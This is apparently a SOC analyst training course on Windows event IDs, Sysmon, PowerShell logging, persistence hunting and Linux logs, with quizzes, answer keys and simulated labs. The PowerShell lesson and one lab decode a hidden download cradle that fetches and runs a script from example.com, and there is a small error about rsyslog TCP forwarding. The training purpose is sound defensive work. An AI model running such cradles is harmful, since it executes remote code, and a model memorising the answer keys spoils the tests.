A server logs 40 event 4625 entries in two minutes for the account administrator, all from 203.0.113.50 with LogonType 3 and SubStatus 0xC000006A. Then a 4624 appears for administrator from the same address, followed by a 4672 with the same LogonId. The analyst concludes brute force succeeded, escalates, disables the account and blocks the source, then reviews what the session did.

KEY TERMS

4624: Successful logon event.

4625: Failed logon event.

4672: Special privileges assigned to a new logon.

LogonId: An identifier linking all events in one logon session.

SubStatus: A code giving the detailed reason for a logon failure.

REMEMBER

- 4624 success, 4625 failure, 4634/4647 logoff, 4672 privileged.
- Use LogonId to tie events together.
- Judge patterns, not single events.

QUICK CHECK

1. Which event ID records a failed logon?
 - A) 4625
 - B) 4624
 - C) 4634
 - D) 4672
2. SubStatus 0xC000006A indicates:
 - A) Wrong password for a valid user
 - B) Unknown user
 - C) Account locked
 - D) Expired account
3. What do 4624 followed by 4672 with the same LogonId suggest?
 - A) A privileged account logged on
 - B) A printer error
 - C) A log clear
 - D) A reboot
4. Which pattern suggests password spraying?
 - A) One source failing against many accounts
 - B) One user mistyping once
 - C) One account logging off
 - D) A single 4634

Answers: 1-A 2-A 3-A 4-A

1. 4625 is the failure event.
2. 0xC000006A is a bad password.
3. 4672 flags sensitive privileges for that session.
4. Spraying tries few passwords across many accounts.

Logon types and Kerberos/NTLM events

The logon type tells you how the person connected, and Kerberos or NTLM events show how credentials were validated.

Common logon types

The LogonType field in 4624 reveals the method. Type 2 is interactive at the keyboard. Type 3 is network, such as file share access or remote administration tools. Type 4 is batch (scheduled tasks) and type 5 is service. Type 7 is unlock, type 8 is network cleartext, type 9 is NewCredentials (runas /netonly) and type 10 is RemoteInteractive, meaning Remote Desktop. Type 11 is cached interactive, used when the domain controller is unreachable. Types 3 and 10 from external or unusual addresses are the first to review, and type 10 outside business hours is a classic lateral movement or intrusion indicator.

What looks suspicious

Context matters. Many type 3 logons are normal, since every file share access produces one. Type 5 service logons are routine. Concern arises when a service or admin account performs a type 10 logon to a workstation, when a type 2 logon appears on a server nobody physically visits, or when a type 3 logon with NTLM comes from a workstation to many servers within minutes. Pass-the-hash often shows as type 3 with NTLM and a blank workstation name. Compare against a baseline of which accounts normally log on to which hosts.

Kerberos events

In an Active Directory domain, Kerberos activity is logged on domain controllers. Event 4768 is a request for a Ticket Granting Ticket (TGT) after authentication. Event 4769 is a request for a service ticket (TGS), and 4771 is a pre-authentication failure. Look at the ticket encryption type: 0x17 (RC4) in an environment that should use AES (0x12) is a possible sign of Kerberoasting, where an attacker requests service tickets to crack offline. Many 4769 requests for different service accounts from one user in a short time are also a warning sign.

NTLM events

NTLM validation appears as event 4776, Computer attempted to validate the credentials for an account, logged on the system that performs validation, which is the domain controller for domain accounts. A burst of 4776 failures from one workstation can indicate spraying or brute force, while NTLM use where Kerberos is expected may reveal access by IP address rather than host name, a common tool behavior. Many organizations restrict or audit NTLM to reduce the attack surface. Correlate 4776 with 4625 and 4624 to see whether the attempt succeeded.

EVENT EXCERPT

```
EventID 4624 LogonType: 10 Account: jsmith
IpAddress: 198.51.100.88 (external)
Time: 03:12:44Z

EventID 4769 ServiceName: MSSQLSvc/db01.example.com
TicketEncryptionType: 0x17 ClientAddress: 192.0.2.61
```

WORKED EXAMPLE

An analyst reviews 4624 events and finds LogonType 10 for jsmith from 198.51.100.88 at 03:12 UTC. Business hours are 08:00 to 18:00 and jsmith normally uses a VPN address range. The source is external, and Remote Desktop should not be open to the internet. The analyst escalates as a suspected compromised account, checks for firewall rules exposing port 3389 and reviews the session's activity.

KEY TERMS

Logon type 10: RemoteInteractive, such as Remote Desktop.

Logon type 3: Network logon, for example SMB file share access.

4768/4769: Kerberos TGT and service ticket requests.

Kerberoasting: Requesting service tickets to crack service account passwords offline.

4776: NTLM credential validation event.

REMEMBER

- Logon type tells how the connection occurred.
- Type 10 from unusual sources is high priority.
- 4768/4769 cover Kerberos, 4776 covers NTLM.

QUICK CHECK

1. Which logon type is Remote Desktop?
 - A) 10
 - B) 2
 - C) 5
 - D) 3
2. Event 4769 documents:
 - A) A Kerberos service ticket request
 - B) A failed password
 - C) A log clear
 - D) A new service
3. A ticket encryption type 0x17 in an AES-only environment may indicate:
 - A) Kerberoasting
 - B) Normal activity always
 - C) A printer
 - D) Disk failure
4. Where is event 4776 for domain accounts logged?
 - A) Domain controller
 - B) Printer
 - C) Mobile device
 - D) Router

Answers: 1-A 2-A 3-A 4-A

1. Type 10 is RemoteInteractive.
2. 4769 is a TGS request.
3. RC4 requests are a Kerberoasting indicator.
4. The system validating credentials logs 4776.

Account and group change events

Attackers create accounts, add themselves to groups and erase logs; these events expose that stage.

Account creation and changes

Event 4720 records that a user account was created, and the fields show who created it (SubjectUserName) and the new account (TargetUserName). Related events include 4722 account enabled, 4724 password reset attempt, 4723 password change, 4725 account disabled and 4726 account deleted. Attackers create backdoor accounts for persistence, often with names resembling service accounts. Alert on accounts created outside the normal provisioning process or system, especially at odd hours or by a non-administrator, and verify with the help desk or identity management team.

Group membership and privilege

Adding an account to a privileged group is a high-value signal. Event 4728 is a member added to a security-enabled global group, 4732 to a local group such as Administrators, and 4756 to a universal group. The event shows the group name, the member and the actor. Watch Domain Admins, Enterprise Admins, Administrators, Backup Operators and Account Operators. Removal events 4729, 4733 and 4757 exist too. An attacker may add a new account to Administrators, use it and later remove it, leaving only the add and remove events as evidence.

Lockouts and log clearing

Event 4740 records an account lockout and names the caller computer, which is the source of the failing attempts. Many lockouts across accounts may indicate spraying, while one account repeatedly locking may be a stale credential on a device. Event 1102 in the Security log means the audit log was cleared, and event 104 in the System log means another log was cleared. Log clearing is rarely routine and is a strong indicator of attacker cover-up, so it should raise a high severity alert and begin a review of any forwarded copies.

Putting changes into context

Individual changes are usually legitimate, so context decides the verdict. Ask: who performed it, from which host, at what time, and was there a change ticket? A new local administrator added by the IT deployment tool at noon with a ticket is routine. The same change made by a user account from a workstation at 02:00 is not. Pair these events with logon events to see the actor's session, with process creation to see the tool used, and with later logons by the new account to see whether it was used.

EVENT EXCERPTS

```
4720 Subject: it-helpdesk Target: svc-update2 (2025-03-14 02:14:10Z)
4732 Subject: it-helpdesk Member: svc-update2 Group: Administrators
1102 Subject: svc-update2 The audit log was cleared
```

(no change ticket found)

WORKED EXAMPLE

At 02:14 UTC the account it-helpdesk creates svc-update2 (4720) and adds it to Administrators (4732). Minutes later svc-update2 clears the Security log (1102). No ticket exists for the change. The analyst treats this as an active compromise: disables both accounts, isolates the host, retrieves the forwarded copies of the logs from the SIEM and starts incident response.

KEY TERMS

4720: A user account was created.

4732: A member was added to a local security group.

4740: An account was locked out.

1102: The Security audit log was cleared.

104: A log in the System channel was cleared.

REMEMBER

- 4720 creation, 4728/4732/4756 group adds, 4740 lockout.
- 1102 and 104 are strong cover-up indicators.
- Judge changes by actor, host, time and ticket.

QUICK CHECK

1. Which event records an account creation?
 - A) 4720
 - B) 4740
 - C) 4625
 - D) 7045
2. Event 1102 means:
 - A) The Security log was cleared
 - B) A service was installed
 - C) A password changed
 - D) A logon succeeded
3. Which event shows a member added to a local group such as Administrators?
 - A) 4732
 - B) 4728 only
 - C) 4624
 - D) 4688
4. What does the caller computer in 4740 identify?
 - A) The source of failing attempts
 - B) The domain controller backup
 - C) The printer
 - D) The patch level

Answers: 1-A 2-A 3-A 4-A

1. 4720 is user account created.
2. 1102 is the audit log cleared event.
3. 4732 is local group membership addition.
4. It names where the bad credentials came from.

Sysmon configuration and key events

Sysmon records detailed process, network and file activity that default Windows logging omits.

What Sysmon is

System Monitor (Sysmon) is a free Microsoft Sysinternals driver and service that writes detailed events to Microsoft-Windows-Sysmon/Operational. Unlike default logging, it records process creation with the full command line, parent process, hashes and signer, network connections per process, driver and image loads, and more. It is configured with an XML file that decides which events to include or exclude. Install with `sysmon -accepteula -i config.xml` and update with `sysmon -c config.xml`. Because it is highly configurable, results depend entirely on the quality of the configuration.

Key event IDs

Event 1 is process creation with Image, CommandLine, ParentImage, ParentCommandLine, Hashes and User. Event 3 is a network connection with source and destination IPs and ports, and the process. Event 7 is image (DLL) loaded. Event 8 is CreateRemoteThread, often used in injection. Event 10 is ProcessAccess, important for credential dumping when a process opens lsass.exe. Event 11 is file creation. Event 13 is registry value set, useful for Run keys. Others include 12 and 14 registry events, 22 DNS query and 19 to 21 WMI event activity.

Configuration and community baselines

Writing a configuration from scratch is difficult, so most teams start from a community template such as the SwiftOnSecurity `sysmon-config` or Olaf Hartong's `sysmon-modular`. These include or exclude events by rule: for example, logging all process creation except known noisy updaters, network connections from suspicious binaries, and registry changes in autostart locations. They add rule names mapped to MITRE ATT&CK technique IDs. Test any config for volume before deploying widely, and tune exclusions to avoid blind spots, as an overly broad exclusion can hide attacker activity.

Using Sysmon in an investigation

Sysmon events share fields that allow pivoting. `ProcessGuid` uniquely identifies a process instance, unlike `ProcessId` which can be reused, and `ParentProcessGuid` links child to parent so that you can rebuild a process tree. Hashes can be checked against reputation. Network events show which process made a connection, which firewall logs cannot. Combine event 1 (what started), event 3 (who it talked to) and event 11 (what it dropped) to understand a malicious process. Remember that Sysmon is evidence on the host, so forward its logs and protect the service from tampering.

SYSMON EVENT 1

```
EventID: 1
UtcTime: 2025-03-14 09:30:12
Image: C:\Windows\System32\cmd.exe
CommandLine: cmd.exe /c powershell -nop -w hidden -enc SQBFAFgA...
ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
User: EXAMPLE\jlee
ProcessGuid: {a1b2-0001} ParentProcessGuid: {a1b2-0000}
```

WORKED EXAMPLE

A user opens an invoice document and Sysmon logs event 1 with WINWORD.EXE as the parent of cmd.exe, which starts powershell.exe with a hidden window and an encoded command. Event 3 shows powershell.exe connecting to 198.51.100.9 on port 443, and event 11 shows a new file in the user's temp folder. The chain Word to cmd to PowerShell to external connection is a strong sign of a malicious macro.

KEY TERMS

Sysmon: A Sysinternals tool that logs detailed host activity.

ProcessGuid: A unique identifier for a process instance.

Event 10: ProcessAccess, used to spot access to lsass.exe.

Event 13: Registry value set.

sysmon-config: A community configuration template such as SwiftOnSecurity's.

REMEMBER

- Sysmon adds command line, hashes, network and file events.
- Know IDs 1, 3, 7, 8, 10, 11 and 13.
- Start from a community config and tune for volume.

QUICK CHECK

1. Which Sysmon event logs process creation?
 - A) 1
 - B) 3
 - C) 11
 - D) 13
2. Why is ProcessGuid better than ProcessId for tracing?
 - A) PIDs can be reused
 - B) GUIDs are shorter
 - C) PIDs are encrypted
 - D) GUIDs are always zero
3. Sysmon event 3 records:
 - A) A network connection
 - B) A file hash
 - C) A DNS cache
 - D) A user logoff
4. What does a Sysmon configuration file control?
 - A) Which events are included or excluded
 - B) Windows license
 - C) Disk size
 - D) User passwords

Answers: 1-A 2-A 3-A 4-A

1. Event 1 is process creation.
2. Process IDs repeat, GUIDs stay unique.
3. Event 3 shows process network connections.
4. The XML rules shape what is logged.

Process creation and PowerShell logging

Command lines and script content reveal exactly what an attacker ran, even when the payload is obfuscated.

Event 4688 and command lines

Windows event 4688 records process creation in the Security log. By default it lacks the command line, but enabling the policy Include command line in process creation events (under Administrative Templates, System, Audit Process Creation) adds it. Key fields are NewProcessName, ParentProcessName (or CreatorProcessName), SubjectUserName and CommandLine. Compare it with Sysmon event 1, which also gives hashes and unique GUIDs. Both are valuable, and 4688 is available without installing anything. Command lines can contain secrets such as passwords, so access to these logs must be controlled.

PowerShell logging

PowerShell offers several logs. Module logging records pipeline execution as event 4103. Script block logging records the actual code executed as event 4104 in the Microsoft-Windows-PowerShell/Operational channel, including content decoded at runtime, which defeats much obfuscation. Transcription writes sessions to text files. Enable script block logging through Group Policy, and PowerShell 5 and later also logs suspicious blocks even when not enabled. Event 4104 includes ScriptBlockText, a Path and a ScriptBlockId, and long scripts are split over several events with message numbers.

Decoding encoded commands

Attackers use powershell -enc or -EncodedCommand with a Base64 string to hide content. PowerShell expects UTF-16LE text, so decoding means Base64 decoding and reading as UTF-16LE. For example SQBFAFgA decodes to the characters I, E, X, short for Invoke-Expression. After decoding, look for download cradles such as Net.WebClient DownloadString or Invoke-WebRequest, URLs, hidden window flags, bypass flags like -ep bypass and -nop, and obfuscation. Always decode in a safe, isolated tool and never run the result.

Indicators to review

Suspicious signals include PowerShell launched by Office, a browser or a scripting host, command lines with -w hidden, -enc, IEX, FromBase64String, and download methods. Also review long command lines, unusual parents such as wmiprvse.exe, and PowerShell on servers that never use it. Context matters, since administrators and deployment tools also use PowerShell, often with signed scripts and known paths. Compare with the host's baseline, and examine the network event that follows, since a script that downloads something should show a connection to an external address.

TERMINAL OUTPUT

```
$ echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAKQA=' | base64 -d | iconv -f UTF-16LE -t UTF-8
IEX (New-Object)

# 4104 fields: ScriptBlockText, ScriptBlockId, Path
```

WORKED EXAMPLE

Event 4104 contains a Base64 string passed to powershell with -enc. The analyst decodes it as UTF-16LE and reads a Net.WebClient DownloadString call to hxxp://example[.]com/stage.ps1 followed by IEX. The host, user, parent process and time go into the case, the URL is defanged and blocked at the proxy, and the analyst searches for other hosts that connected to the same URL.

KEY TERMS

4688: Windows event for process creation.

4104: PowerShell script block logging event.

-enc: PowerShell parameter for a Base64 encoded command.

UTF-16LE: The text encoding PowerShell expects inside encoded commands.

Download cradle: Code that fetches and runs content from a remote location.

REMEMBER

- 4688 plus command line, 4103 module and 4104 script block logs.

- Decode -enc as Base64 UTF-16LE.
- Check parent, flags, URLs and the follow-on network event.

QUICK CHECK

1. Which event contains actual PowerShell script text?
 - A) 4104
 - B) 4624
 - C) 4720
 - D) 1102
2. PowerShell encoded commands use which encoding before Base64?
 - A) UTF-16LE
 - B) ASCII only
 - C) UTF-32
 - D) EBCDIC
3. What must be enabled to see command lines in 4688?
 - A) Include command line in process creation events
 - B) Remote Desktop
 - C) BitLocker
 - D) Windows Update
4. Which is a common sign of a malicious PowerShell launch?
 - A) Parent is Word with -w hidden -enc
 - B) Launched by an administrator console with a signed script
 - C) Run by Windows Update
 - D) Parent is explorer for a user shortcut

Answers: 1-A 2-A 3-A 4-A

1. 4104 logs script blocks.
2. -enc strings are Base64 of UTF-16LE text.
3. A policy setting adds the command line.
4. Office parent plus hidden encoded commands is suspicious.

Persistence artifacts

Persistence lets an attacker survive reboots, so finding it is key to complete eradication.

Registry Run keys and startup folders

The most common autostart locations are the Run and RunOnce keys:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run and the HKLM equivalent. Programs listed there start at logon. The Startup folders, such as C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup, work similarly. Sysmon event 13 shows registry values being set, and event 11 shows files created in startup folders. Look for entries pointing to user-writable paths such as AppData or Temp, random names, or script interpreters launching scripts.

Scheduled tasks and services

Scheduled tasks are created with schtasks or the Task Scheduler API and logged as event 4698 in the Security log (if auditing is on) and in the TaskScheduler/Operational channel. Review the action, trigger and creator. A task that runs powershell or a file from a temp folder every few minutes is suspicious. Services are installed with sc or tools like PsExec and logged as event 7045 in the System log, with the service name, image path and account. A service whose binary sits in a temp or user directory, or uses cmd /c in its image path, needs investigation.

WMI subscriptions and other methods

Windows Management Instrumentation (WMI) event subscriptions use an EventFilter, an EventConsumer and a FilterToConsumerBinding to run code when a condition occurs. They leave few traces in common locations, but Sysmon events 19, 20 and 21 record them. Other methods include DLL search order hijacking, the Winlogon registry keys, Image File Execution Options, COM hijacking, new local accounts and rogue browser extensions. Tools such as Sysinternals Autoruns list most autostart locations at once and can compare against a known-good baseline.

Verifying and responding

When you find a candidate, check the file path, hash, signer, creation time and who or what created it. Compare creation time with the intrusion timeline. Document it, collect a copy for analysis, then remove it only as part of coordinated eradication so you do not alert the attacker or lose evidence. After removal, verify across other hosts, since attackers often install the same mechanism widely. Add detections for the technique, for example alerting on new Run key values pointing to AppData, and on 4698 or 7045 for unapproved binaries.

FINDINGS (AUTORUNS STYLE)

```
HKCU\...\Run Updater C:\Users\jlee\AppData\Roaming\upd.exe (unsigned)
Task \GoogleUpdateX powershell -w hidden -f C:\ProgramData\x.ps1
Service WinSvcHelper C:\Windows\Temp\svc.exe (7045, 02:20Z)
```

WORKED EXAMPLE

An exported host image reveals a Run key value Updater pointing to AppData\upd.exe, an unsigned file created at 09:35 UTC, five minutes after the PowerShell event. A scheduled task named like a Google updater runs a hidden PowerShell script. Both tie to the same time and user, so the analyst lists them as malicious persistence and recommends removing them during eradication.

KEY TERMS

Run key: A registry location whose entries start at logon.

4698: A scheduled task was created.

7045: A service was installed on the system.

WMI subscription: A persistence method using filters, consumers and bindings.

Autoruns: A Sysinternals tool that lists autostart entries.

REMEMBER

- Check Run keys, startup folders, tasks, services and WMI.
- Correlate creation time with the intrusion timeline.
- Remove persistence during planned eradication and verify elsewhere.

QUICK CHECK

1. Which event records a service installation?
 - A) 7045
 - B) 4698
 - C) 4688
 - D) 1102
2. Which event records scheduled task creation in the Security log?
 - A) 4698
 - B) 4720
 - C) 4672
 - D) 4634
3. A Run key value pointing to AppData\random.exe is:
 - A) Suspicious
 - B) Always safe
 - C) Required by Windows
 - D) A DNS entry
4. Which Sysmon IDs cover WMI event activity?
 - A) 19, 20 and 21
 - B) 1, 2 and 3
 - C) 7 and 8
 - D) 22 only

Answers: 1-A 2-A 3-A 4-A

1. 7045 appears in the System log.
2. 4698 is a scheduled task created.
3. User-writable paths in autostarts are a red flag.
4. Sysmon 19 to 21 record WMI filters, consumers and bindings.

Failed logon triage

SCENARIO

The Security log from fictional server fs01 (192.0.2.20) holds 200 events. You must filter 4625, identify brute force against one account and find the first successful logon afterward.

OBJECTIVE

Identify the targeted account, source IP and first successful logon.

STEPS IN THE SIMULATOR

- 1 **Do:** Filter EventID = 4625

Simulator shows:
78 events shown

- 2 **Do:** Group by TargetUserName

Simulator shows:
administrator: 71, jsmith: 4, svc-print: 3

- 3 **Do:** Open one administrator event

Simulator shows:
LogonType 3, IPAddress 203.0.113.50, SubStatus 0xC000006A

- 4 **Do:** Group administrator failures by IPAddress

Simulator shows:
203.0.113.50: 71 (09:01:10Z to 09:04:55Z)

- 5 **Do:** Filter EventID = 4624 and TargetUserName = administrator

Simulator shows:
1 event: 09:05:02Z, IPAddress 203.0.113.50, LogonType 3

- 6 **Do:** Check for a following 4672 with the same LogonId

Simulator shows:
4672 at 09:05:02Z: SeDebugPrivilege assigned

- 7 **Do:** Submit finding

Simulator shows:
Accepted: brute force then privileged success

ANSWER

administrator was brute forced from 203.0.113.50 (71 failures from 09:01:10Z to 09:04:55Z). The first success was at 09:05:02Z over type 3, immediately followed by a privileged logon, so the account is likely compromised.

Hint shown in the app: Compare the time of the last 4625 with the first 4624 from the same source.

Classify logon types

SCENARIO

In the SIEM you query 4624 events for fictional domain EXAMPLE. Business hours are 08:00 to 18:00 UTC and RDP should be accessible only from the VPN range 192.0.2.0/24.

OBJECTIVE

Flag the suspicious type 10 logon from an external address outside business hours.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: EventCode=4624 | stats count by LogonType

Simulator shows:

LogonType 2: 14, 3: 912, 5: 301, 10: 3, 11: 2

- 2 **Do:** Filter LogonType=10 | table _time, user, src_ip

Simulator shows:

3 rows listed

- 3 **Do:** Read row 1

Simulator shows:

10:15Z jlee 192.0.2.40 (VPN)

- 4 **Do:** Read row 2

Simulator shows:

14:02Z sadmin 192.0.2.41 (VPN)

- 5 **Do:** Read row 3

Simulator shows:

03:12Z jsmith 198.51.100.88 (external)

- 6 **Do:** Flag row 3 and add note

Simulator shows:

Flag saved: external, outside hours, not VPN

ANSWER

The suspicious logon is the type 10 event for jsmith from 198.51.100.88 at 03:12Z. It is external, outside business hours and not from the VPN range, so it should be escalated as a possible compromised account.

Hint shown in the app: Check the source address range and the time together.

Decode PowerShell

SCENARIO

Event 4104 contains a PowerShell command with an encoded argument from host WS-22. The terminal provides a Base64 string and tools to decode it safely. The decoded text references a fictional download URL.

OBJECTIVE

Decode the command and list the download URL and behavior.

STEPS IN THE SIMULATOR

- 1 **Do:** Type: cat event4104.txt

Simulator shows:

```
powershell -nop -w hidden -enc SQBFaFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAB0AGUAdAAuAFcAZQBIAEMAbABpAGUAbgB0ACKALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAA0gAvAC8AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AcwAuAHAAcwAxACcAKQA=
```

- 2 **Do:** Type: echo <string> | base64 -d > out.bin

Simulator shows:

```
out.bin written (UTF-16LE data)
```

- 3 **Do:** Type: iconv -f UTF-16LE -t UTF-8 out.bin

Simulator shows:

```
IEX (New-Object Net.WebClient).DownloadString('http://example.com/s.ps1')
```

- 4 **Do:** Type: defang url

Simulator shows:

```
hxxp://example[.]com/s[.]ps1
```

- 5 **Do:** Type: note behavior

Simulator shows:

```
Hidden window, no profile, downloads and executes remote script in memory
```

- 6 **Do:** Submit

Simulator shows:

```
Accepted: URL hxxp://example[.]com/s.ps1, behavior download cradle with IEX
```

ANSWER

The decoded command is IEX (New-Object Net.WebClient).DownloadString('http://example.com/s.ps1'). It downloads a script from example.com and runs it in memory, with a hidden window and no profile to evade notice.

Hint shown in the app: Decode as UTF-16LE, not ASCII.

Sysmon process tree

SCENARIO

A Sysmon feed from host WS-22 includes event 1 records. You must follow ParentProcessId and ProcessGuid from winword.exe to cmd.exe to powershell.exe and decide which step is suspicious.

OBJECTIVE

Reconstruct the process tree and name the suspicious step.

STEPS IN THE SIMULATOR

- 1 **Do:** Filter EventID = 1 and sort by time

Simulator shows:

6 events listed from 09:29:50Z to 09:30:20Z

- 2 **Do:** Open event 1: explorer.exe -> WINWORD.EXE

Simulator shows:

User opened invoice.docm, ProcessGuid {0010}

- 3 **Do:** Open event 2: WINWORD.EXE -> cmd.exe

Simulator shows:

cmd.exe /c powershell ... ParentProcessGuid {0010}, ProcessGuid {0020}

- 4 **Do:** Open event 3: cmd.exe -> powershell.exe

Simulator shows:

powershell -nop -w hidden -enc ..., ParentProcessGuid {0020}, ProcessGuid {0030}

- 5 **Do:** Open event 4: powershell.exe network event 3

Simulator shows:

Connection to 198.51.100.9:443

- 6 **Do:** Mark the suspicious step

Simulator shows:

Marked WINWORD.EXE -> cmd.exe; accepted

ANSWER

The tree is explorer.exe, WINWORD.EXE, cmd.exe, powershell.exe, then an external connection. The suspicious step is Word spawning cmd.exe, which is unusual and typical of a malicious macro.

Hint shown in the app: Follow ParentProcessGuid rather than ProcessId.

Find persistence

SCENARIO

An exported image of fictional host WS-22 contains registry exports, scheduled tasks and services. You must inspect each location and mark the malicious entries.

OBJECTIVE

Identify and mark every malicious persistence entry.

STEPS IN THE SIMULATOR

1 Do: Open Registry/HKCU_Run.reg

Simulator shows:

OneDrive: C:\Users\jlee\AppData\Local\Microsoft\OneDrive\OneDrive.exe (signed)
Updater: C:\Users\jlee\AppData\Roaming\upd.exe (unsigned)

2 Do: Open Tasks/

Simulator shows:

\Microsoft\Windows\Defrag\ScheduledDefrag (Microsoft)
\GoogleUpdateX: powershell -w hidden -f C:\ProgramData\x.ps1

3 Do: Open Services/

Simulator shows:

Spooler: C:\Windows\System32\spoolsv.exe
WinSvcHelper: C:\Windows\Temp\svc.exe (7045 at 09:40Z)

4 Do: Open Startup/

Simulator shows:

desktop.ini only

5 Do: Select the suspicious entries and click Mark

Simulator shows:

3 entries marked: Updater, GoogleUpdateX, WinSvcHelper

6 Do: Submit

Simulator shows:

Accepted: 3 of 3 malicious, 0 false marks

ANSWER

Malicious entries are the Run key Updater (unsigned file in AppData), the scheduled task GoogleUpdateX (hidden PowerShell script in ProgramData) and the service WinSvcHelper (binary in Windows\Temp). OneDrive, ScheduledDefrag and Spooler are legitimate.

Hint shown in the app: Check paths and signers; temp or user paths are the clue.

Windows Event Logs and Sysmon: 10 questions, 80% to pass

1. Which log holds events such as 4624 and 4625?
 - A) Security
 - B) Setup
 - C) Forwarded Events only
 - D) Hardware Events
2. SubStatus 0xC000006A means:
 - A) Bad password
 - B) Unknown user
 - C) Account disabled
 - D) Time restriction
3. LogonType 10 indicates:
 - A) Remote Desktop
 - B) Console logon
 - C) Batch job
 - D) Service
4. An RC4 (0x17) service ticket in an AES environment may indicate:
 - A) Kerberoasting
 - B) Disk encryption
 - C) BitLocker
 - D) A reboot
5. Event 1102 means:
 - A) The Security log was cleared
 - B) A user logged off
 - C) A service started
 - D) A task ran
6. Which Sysmon event reports process creation?
 - A) 1
 - B) 3
 - C) 10
 - D) 22
7. Sysmon event 10 is most useful for spotting:
 - A) Process access such as LSASS reads
 - B) Registry Run keys
 - C) DNS queries
 - D) File deletes
8. Which event shows PowerShell script block text?
 - A) 4104
 - B) 4688
 - C) 4625
 - D) 7045
9. An -enc argument is Base64 of which encoding?
 - A) UTF-16LE
 - B) UTF-7
 - C) ASCII only
 - D) Latin-1
10. Which event ID records a new service installed?
 - A) 7045
 - B) 4698
 - C) 4720
 - D) 4740

Answers: 1-A 2-A 3-A 4-A 5-A 6-A 7-A 8-A 9-A 10-A

1. Authentication audit events are in the Security log.
2. It indicates a wrong password for a valid user.
3. Type 10 is RemoteInteractive.
4. Cracking service tickets offline often uses RC4 tickets.
5. 1102 is the audit log cleared event.
6. Event 1 is process creation.
7. ProcessAccess shows handles opened to other processes.
8. 4104 contains ScriptBlockText.
9. PowerShell uses UTF-16LE.
10. 7045 is service installed in the System log.

Linux and Web Server Logs

Intermediate | 5 lessons | 4 simulated labs | checkpoint | about 4h 25m

Linux servers and web applications produce text logs that show who connected, which commands ran and what visitors requested. This module covers where logs live and how to query syslog and journald, how to read SSH and sudo activity in auth.log, how auditd records system calls and file changes, how to parse Apache and Nginx access logs, and how to spot brute force, scanning and web attacks with grep, awk and sort. These skills apply to most internet-facing systems.

BY THE END YOU CAN

- + Read auth.log, syslog and auditd records
- + Identify brute force, scanning and web attacks in access logs
- + Extract IOCs from Linux and web server logs with command-line tools

IN THIS MODULE

Lesson 1 Linux log locations and syslog/journald

Lesson 2 auth.log and SSH activity

Lesson 3 auditd rules and records

Lesson 4 Web access logs: Apache and Nginx

Lesson 5 Spotting brute force and scanning

Lab 1 SSH brute force hunt (Terminal)

Lab 2 Read auditd events (Log viewer)

Lab 3 Web log scan detection (Log viewer)

Lab 4 Detect web exploitation (Terminal)

Checkpoint 10 questions, 80% to pass

Linux log locations and syslog/journald

Knowing where Linux keeps its evidence, and how to query it, is the starting point of any server investigation.

Where logs live

Most Linux logs are plain text under `/var/log`. On Debian and Ubuntu, `/var/log/syslog` holds general messages and `/var/log/auth.log` holds authentication events. On Red Hat, CentOS and Fedora, the equivalents are `/var/log/messages` and `/var/log/secure`. Others include `/var/log/kern.log` for the kernel, `/var/log/dpkg.log` or yum logs for package changes, `/var/log/audit/audit.log` for auditd, and `/var/log/apache2` or `/var/log/nginx` for web servers. The login history is in the binary files `/var/log/wtmp` (read with `last`), `/var/log/btmp` (`lastb`, failed logins) and `/var/log/lastlog`. Because they are binary, use the dedicated commands rather than `cat`.

Syslog daemons and rotation

A syslog daemon such as `rsyslog` or `syslog-ng` receives messages from services, writes them to files according to rules in `/etc/rsyslog.conf` and `/etc/rsyslog.d`, and can forward them to a central collector, for example with a line like `*.* @192.0.2.100:514` for TCP. The `logrotate` utility rotates and compresses files, so older records appear as `syslog.1` or `syslog.2.gz`. Use `zcat` or `zgrep` to search compressed files. When investigating, check all rotated files that cover the period of interest, because an incident may begin before the current file starts.

journald and journalctl

Systems using `systemd` also collect logs in the journal, a structured binary store queried with `journalctl`. Useful options are `-u ssh` to filter by unit, `-p err` to show priority error and above, `--since "2025-03-14 09:00"` and `--until` for time ranges, `-b` for the current boot, `-f` to follow new entries and `-o json` for structured output. The journal may be volatile and lost at reboot unless `/var/log/journal` exists or `Storage=persistent` is set, so confirm persistence. Many systems run both `journald` and `rsyslog`, so the same event may appear in both places.

Tampering and trust

An attacker with root access can edit or delete logs, so treat local files on a compromised host with caution. Signs include gaps in timestamps, truncated files, a recent modification time on a log that should be append-only, and cleared shell history. Compare with a remote copy in the SIEM, and check `wtmp` and `auditd` for contradictions. Permissions matter: logs should be writable only by privileged services. Sending logs off the host in near real time, and keeping file integrity monitoring on `/var/log`, make tampering both harder and easier to notice.

TERMINAL OUTPUT

```
$ journalctl -u ssh -p warning --since '2025-03-14 09:00' --until '2025-03-14 09:30' | head -3
Mar 14 09:21:07 web01 sshd[812]: Failed password for invalid user test from 203.0.113.9 port 40122 ssh2
Mar 14 09:21:09 web01 sshd[812]: Failed password for invalid user admin from 203.0.113.9 port 40124 ssh2
```

WORKED EXAMPLE

An analyst investigates `web01` for activity on 14 March. The current `/var/log/auth.log` begins on 13 March after rotation, but the intrusion may have started earlier. They use `zgrep 'Accepted' /var/log/auth.log.*.gz` to search older files, run `last -i` to list login history with source addresses, and compare against the central SIEM copy. The SIEM copy shows entries missing locally, which suggests log tampering.

KEY TERMS

/var/log/auth.log: Debian-family file with authentication and sudo events.

journalctl: Command that queries the `systemd` journal.

logrotate: Utility that rotates and compresses log files.

wtmp: Binary file of login history read with the `last` command.

rsyslog: A common Linux syslog daemon.

REMEMBER

- Know `/var/log` files, rotated archives and `wtmp/btmp`.
- Use `journalctl` with `-u`, `-p` and `--since`.
- Treat local logs on a compromised host with caution.

QUICK CHECK

1. Which file holds authentication events on Ubuntu?

- A) /var/log/auth.log
- B) /var/log/boot.log only
- C) /etc/passwd
- D) /proc/net

2. Which command shows login history from wtmp?

- A) last
- B) lastcomm only
- C) ls
- D) who -r only

3. How do you search compressed rotated logs?

- A) zgrep
- B) cat
- C) gzip -d only manually
- D) mount

4. Why compare local logs to a central copy?

- A) Root attackers can alter local logs
- B) Local logs are always wrong
- C) Central logs are smaller
- D) It is required by ssh

